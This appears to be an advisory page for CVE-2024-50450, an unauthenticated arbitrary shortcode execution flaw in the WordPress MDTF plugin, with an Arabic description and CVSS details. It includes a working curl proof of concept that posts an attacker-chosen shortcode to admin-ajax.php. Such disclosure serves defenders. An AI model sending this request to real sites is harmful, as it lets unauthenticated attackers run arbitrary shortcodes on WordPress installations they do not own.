CVE-2024-50450

WordPress Meta Data and Taxonomies Filter (MDTF) <= 1.3.3.4 - تنفيذ شورتكود عشوائي غير موثّق

الوصف:

مكوّن الـ الـ MDTF – Meta Data and Taxonomies Filter الإضافي لووردبريس معرّض لتنفيذ شورتكود عشوائي في جميع الإصدارات حتى 1.3.3.4. يرجع ذلك إلى أن البرنامج يسمح للمستخدمين بتنفيذ إجراء لا يقوم بالتحقق من صحة قيمة بشكل صحيح قبل تشغيل do_shortcode. مما يجعل من الممكن للمهاجمين غير الموثّقين تنفيذ شورتكودات عشوائية.

Published: 2024-10-24 00:00:00
CVE: CVE-2024-50450
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS Score: 7.3
Slugs: wp-meta-data-filter-and-taxonomy-filter

POC

غيّر [contact_7] إلى الكود المختصر الذي تريد تشغيله.

curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=mdf_get_ajax_auto_recount_data" \
  -d "mdf_front_qtrans_lang=en" \
  -d "mdf_front_wpml_lang=en" \
  -d "mdf_is_search_going=1" \
  -d "mdf_tmp_order=asc" \
  -d "mdf_tmp_orderby=date" \
  -d "no_wp_die=true" \
  -d "mdf_ajax_request=true" \
  -d "mdf_cat=category_slug" \
  -d "page_mdf=1" \
  -d "slug=page_slug" \
  -d "type=shortcode" \
  -d "shortcode_id=shortcode_id_value" \
  -d "mdf_ajax_content_redraw=true" \
  -d "shortcode_txt=[contact_7]" \
  http://kubernetes.docker.internal/wp-admin/admin-ajax.php

CVE-2024-50450

الأكثر شعبية

CVE-2024-50450

الوصف:

POC